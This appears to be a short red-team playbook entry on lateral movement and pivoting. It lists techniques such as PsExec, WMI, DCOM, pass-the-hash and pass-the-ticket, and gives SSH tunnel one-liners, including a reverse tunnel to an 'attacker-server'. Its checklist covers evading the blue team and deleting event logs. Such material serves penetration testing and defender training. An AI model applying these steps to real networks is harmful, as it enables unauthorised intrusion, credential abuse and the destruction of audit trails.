LoopyLuci Lateral Movement and Pivoting
Moving laterally through compromised networks — from pass-the-hash and pass-the-ticket through PsExec, WMI, SSH tunneling, and SOCKS proxying.
When to Use
- Moving from initial foothold to other network segments
- Pivoting through compromised hosts to reach restricted networks
- Using harvested credentials for lateral access
- Establishing persistent access across multiple systems
Lateral Movement Techniques
LATERAL_TECHNIQUES = {
'psexec': 'Execute commands remotely via SVCCTL (admin$ share)',
'wmi': 'Execute via WMI (wmic /node: process call create)',
'winrm': 'WinRM/PSRemoting — remote PowerShell execution',
'schtasks': 'Create remote scheduled tasks for execution',
'dcom': 'DCOM (MMC20.Application, ShellWindows, ShellBrowserWindow)',
'smb_exec': 'SC.exe to create remote service on target',
'pass_the_hash': 'Use NTLM hash directly (no password needed) for WMI/SMB',
'pass_the_ticket': 'Use Kerberos TGS/TGT for remote access',
'overpass_the_hash': 'NTLM hash → Kerberos TGT → TGS for service access',
}
# Pivoting with SSH
SSH_TUNNELS = {
'local': "ssh -L 8080:internal-server:80 jumpbox — forward port through jumpbox",
'remote': "ssh -R 8080:localhost:80 attacker-server — expose internal service",
'dynamic': "ssh -D 9050 jumpbox — SOCKS5 proxy through jumpbox",
'proxyjump': "ssh -J jumpbox target-internal — chain through jump host",
}
class PivotProxy:
"""Set up SOCKS proxy for pivoting."""
def __init__(self, jump_host: str, port: int = 9050):
self.jump = jump_host
self.port = port
Verification Checklist
- Initial foothold established (user-level access)
- Credentials harvested (plaintext, hashes, tickets)
- Lateral movement technique chosen (PsExec, WMI, WinRM, SCM)
- Pass-the-hash/ticket working across targets
- Pivot proxy set up (SOCKS/SSH tunnel)
- New targets enumerated through pivot
- No detection by blue team (slowed down, not stopped)
- Cleanup: remove remote services, binaries, event logs (if in scope)